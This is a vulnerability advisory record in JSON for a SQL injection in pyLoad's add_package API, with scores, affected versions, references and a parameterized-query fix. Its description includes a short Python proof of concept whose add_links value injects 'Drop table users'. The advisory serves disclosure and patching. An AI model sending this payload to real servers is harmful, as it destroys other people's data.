{"id":"CVE-2025-55156","aliases":["CVE-2025-55156","GHSA-pwh4-6r3m-j2rf","PYSEC-2026-1821"],"related":[],"kind":"vulnerability","state":"published","title":"PyLoad vulnerable to SQL Injection via API /json/add_package in add_links parameter","summary":"pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"pyLoad is the free and open-source Download Manager written in pure Python. Prior to version 0.5.0b3.dev91, the parameter add_links in API /json/add_package is vulnerable to SQL Injection. Attackers can modify or delete data in the database, causing data errors or loss. This issue has been patched in version 0.5.0b3.dev91.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe parameter `add_links` in the API /json/add_package is vulnerable to SQL Injection. SQL injection vulnerabilities can lead to sensitive data leakage.\n\n### Details\n- Affected file：https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271\n- Affected code:\n```python\n@style.queue\n    def update_link_info(self, data):\n        \"\"\"\n        data is list of tuples (name, size, status, url)\n        \"\"\"\n        self.c.executemany(\n            \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n            data,\n        )\n        ids = []\n        statuses = \"','\".join(x[3] for x in data)\n        self.c.execute(f\"SELECT id FROM links WHERE url IN ('{statuses}')\")\n        for r in self.c:\n            ids.append(int(r[0]))\n        return ids\n````\nstatuses is constructed from data, and data is the value of the add_links parameter entered by the user through /json/add_packge. Because `{statuses}` is directly spliced into the SQL statement, it leads to the SQL injection vulnerability.\n\n- Vulnerability Chain\n```xml\njosn_blueprint.py#add_package\nsrc/pyload/core/api/__init__.py#add_package\nsrc/pyload/core/managers/file_manager.py#add_links\nsrc/pyload/core/threads/info_thread.py#run\nsrc/pyload/core/threads/info_thread.py#update_info\nsrc/pyload/core/managers/file_manager.py#update_file_info\nsrc/pyload/core/database/file_database.py#update_link_info\n```\n\n\n### PoC\n```python\nimport requests\n\n\nif __name__ == \"__main__\":\n    url = \"http://localhost:8000/json/add_package\"\n    data = {\n        \"add_name\": \"My Downloads1\",\n        \"add_dest\": \"0\",\n        \"add_links\": \"https://www.dailymotion.com/video/x8zzzzz') or 1; Drop table users;--\",\n        \"add_password\": \"mypassword\"\n    }\n\n    response = requests.post(url, cookies=your_cookies, data=data)\n    print(response.status_code, response.text)\n```\n<img width=\"1599\" height=\"827\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9bdcef37-59b8-4e60-a2b5-beb8a88c3202\" />\n\n\n\n\n### Remediation\n ```python\ndef update_link_info(self, data):\n    \"\"\"\ndata is list of tuples (name, size, status, url)\n\"\"\"\n    self.c.executemany(\n        \"UPDATE links SET name=?, size=?, status=? WHERE url=? AND status IN (1,2,3,14)\",\n        data,\n    )\n    \n    # 提取所有url\n    urls = [x[3] for x in data]\n    \n    # 构建参数化查询，避免SQL注入\n    placeholders = ','.join(['?'] * len(urls))\n    query = f\"SELECT id FROM links WHERE url IN ({placeholders}) AND status IN (1,2,3,14)\"\n    self.c.execute(query, urls)\n    \n    ids = [int(row[0]) for row in self.c.fetchall()]\n    return ids\n```\n\n\n\n### Impact\nAttackers can modify or delete data in the database, causing data errors or loss.","format":"markdown","source":"ghsa"},{"lang":"es","text":"pyLoad es un gestor de descargas gratuito y de código abierto escrito en Python puro. Antes de la versión 0.5.0b3.dev91, el parámetro add_links en la API /json/add_package era vulnerable a la inyección de SQL. Los atacantes pueden modificar o eliminar datos de la base de datos, lo que provoca errores o pérdida de datos. Este problema se ha corregido en la versión 0.5.0b3.dev91.","source":"nvd"}],"published":"2025-08-11T22:21:52.225Z","modified":"2026-07-07T17:56:24.830Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","score":7.8,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P","rating":"HIGH"},{"scorer":"PyPA Advisory Database","scheme":"CVSS:4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}],"cwes":["CWE-89"],"affected":[{"ranges":[{"version":"< 0.5.0b3.dev91","status":"affected"}],"vendor":"pyload","product":"pyload","source":"cvelist"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev91"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"ghsa"},{"ranges":[{"type":"ecosystem","introduced":"0","status":"affected","fixed":"0.5.0b3.dev91"}],"ecosystem":"PyPI","package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"pysec"}],"references":[{"url":"https://github.com/pyload/pyload/security/advisories/GHSA-pwh4-6r3m-j2rf","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyload/pyload/commit/134edcdf6e2a10c393743c254da3d9d90b74258f","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://github.com/pyload/pyload/blob/develop/src/pyload/core/database/file_database.py#L271","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd","pysec"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55156","tags":["advisory"],"sources":["ghsa","pysec"]},{"url":"https://github.com/pyload/pyload","tags":["package"],"sources":["ghsa","pysec"]},{"url":"https://pypi.org/project/pyload-ng","tags":["package"],"sources":["pysec"]},{"url":"https://github.com/advisories/GHSA-pwh4-6r3m-j2rf","tags":["advisory"],"sources":["pysec"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"yes","technicalImpact":"total","date":"2025-08-12T15:49:23.306Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-55156","url":"https://www.cve.org/CVERecord?id=CVE-2025-55156","licence":"CVE Terms of Use","modified":"2025-08-12T15:49:56.057Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-pwh4-6r3m-j2rf","url":"https://github.com/advisories/GHSA-pwh4-6r3m-j2rf","licence":"CC-BY-4.0","modified":"2026-07-07T17:56:24.830Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-55156","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-55156","licence":"Public domain","modified":"2026-06-17T09:41:22.203Z"},{"source":"pysec","name":"PyPA Advisory Database","id":"PYSEC-2026-1821","url":"https://osv.dev/vulnerability/PYSEC-2026-1821","licence":"CC-BY-4.0","modified":"2026-07-07T17:47:48.191Z"}],"updatedAt":"2026-11-25T22:59:02.287Z","epss":{"score":0.0039,"percentile":0.35213,"date":"2026-12-01T12:00:22.000Z"}}